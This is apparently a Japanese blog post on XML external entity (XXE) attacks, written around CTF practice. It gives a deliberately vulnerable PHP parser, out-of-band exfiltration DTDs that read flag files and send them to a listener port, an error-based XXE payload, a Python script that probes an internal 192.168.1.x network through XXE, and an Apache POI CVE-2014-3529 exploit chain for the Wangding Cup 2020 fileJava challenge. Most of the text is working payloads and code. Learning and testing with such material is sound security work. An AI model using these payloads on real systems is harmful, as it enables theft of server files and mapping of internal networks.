よく使われるペイロード分析#
皆さんこのテストコードを使っているようです
<?php
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents("php://input");
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
$creds = simplexml_import_dom($dom);
var_dump($creds);
XML を使ってデータを送信する：
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root[
<!ENTITY a SYSTEM "http://localhost:8887/aaaaa">
]>
<root>&a;</root>
しかし、パラメータエンティティを試すときにデータを外部に持ち出せないようです
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root[
<!ENTITY % a "http://localhost:8887/aaa">
%a;
]>
<root></root>
ネストもできません
<?xml version="1.0"?>
<!DOCTYPE message [
<!ENTITY % file SYSTEM "file:///flag.txt">
<!ENTITY % start "<!ENTITY % send SYSTEM 'http://localhost:8887/?%file;'>">
%start;
%send;
]>
最も一般的なデータ持ち出し方法：
自分の VPS 上に 2 つのファイルを準備します。ここではすべてローカルで実験しています。
ローカルの 8001 ポートで Web サービスを開きます。
local.xml ファイルの内容：
<!ENTITY % start "<!ENTITY % send SYSTEM 'http://localhost:8887/?%file;'>">
%start;
このファイルは、データを読み取った後に別の 8887 ポートに送信することを示しています。そして、私たちは被害者サーバーにデータを送信します。
<?xml version="1.0"?>
<!DOCTYPE message [
<!ENTITY % remote SYSTEM "http://localhost:8001/local.xml">
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=./flag.txt">
%remote;
%send;
]>
<message>1234</message>
そして、8887 ポートでデータを受信することができます
別の payload でも大丈夫です
DTD ファイル
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///flag">
<!ENTITY % int "<!ENTITY % send SYSTEM 'http://localhost:8887/p=%file;'>">
送信するペイロード
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE convert [
<!ENTITY % remote SYSTEM "http://localhost:8001/local.xml">
%remote;%int;%send;
]>
エラー報告 XXE#
この方法は実際に p 牛が以前に言ったことで、三重ネストの XML を使用することでエラーを達成できます
<?xml version="1.0"?>
<!DOCTYPE message [
<!ELEMENT message ANY>
<!ENTITY % para1 SYSTEM "file:///flag">
<!ENTITY % para '
<!ENTITY % para2 "<!ENTITY &#x25; error SYSTEM 'file:///%para1;'>">
%para2;
'>
%para;
]>
<message>10</message>
XXE 内部ネットワークの検出#
import requests
import base64
#サーバーが受け入れる元のXML
#<xml>
# <stuff>user</stuff>
#</xml>
def build_xml(string):
xml = """<?xml version="1.0" encoding="ISO-8859-1"?>"""
xml = xml + "\r\n" + """<!DOCTYPE foo [ <!ELEMENT foo ANY >"""
xml = xml + "\r\n" + """<!ENTITY xxe SYSTEM """ + '"' + string + '"' + """>]>"""
xml = xml + "\r\n" + """<xml>"""
xml = xml + "\r\n" + """ <stuff>&xxe;</stuff>"""
xml = xml + "\r\n" + """</xml>"""
send_xml(xml)
def send_xml(xml):
headers = {'Content-Type': 'application/xml'}
x = requests.post('http://127.0.0.1/xml.php', data=xml, headers=headers, timeout=5).text
coded_string = x.split(' ')[-2] # base64エンコードされた値のみを取得するための少しの分割
print coded_string
# print base64.b64decode(coded_string)
for i in range(1, 255):
try:
i = str(i)
ip = '192.168.1.' + i
string = 'php://filter/convert.base64-encode/resource=http://' + ip + '/'
print string
build_xml(string)
except:
print "error"
continue
インスタンス分析#
網鼎杯 2020 fileJava#
使用される脆弱性は CVE20143529
再現コード
import org.apache.poi.EncryptedDocumentException;
import org.apache.poi.openxml4j.exceptions.InvalidFormatException;
import org.apache.poi.ss.usermodel.Sheet;
import org.apache.poi.ss.usermodel.Workbook;
import org.apache.poi.ss.usermodel.WorkbookFactory;
import java.io.FileInputStream;
import java.io.IOException;
public class CVE20143529 {
public static void main(String[] args) throws IOException, EncryptedDocumentException, InvalidFormatException {
Workbook wb1 = WorkbookFactory.create(new FileInputStream("test1.xlsx"));
Sheet sheet = wb1.getSheetAt(0);
System.out.println(sheet.getLastRowNum());
}
}
pom.xml
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>pxyapache</groupId>
<artifactId>pxypxy</artifactId>
<version>1.0-SNAPSHOT</version>
<dependencies>
<dependency>
<groupId>org.apache.poi</groupId>
<artifactId>poi-ooxml</artifactId>
<version>3.10-FINAL</version>
</dependency>
</dependencies>
</project>
利用プロセス：
Excel ファイルを準備します：
<!DOCTYPE convert [
<!ENTITY % remote SYSTEM "http://localhost:8001/local.xml">
%remote;%int;%send;
]>
DTD ファイルを準備します
<!ENTITY % file SYSTEM "file:///flag">
<!ENTITY % int "<!ENTITY % send SYSTEM 'http://localhost:8887/p=%file;'>">
ファイルを読み取り、8887 ポートに送信します
受信したフラグをリスニングします
参考#
YouTube のこの動画は実際に良いことを話しています：https://youtu.be/gjm6VHZa_8s?si=rMGJmuSI9XJNtt_S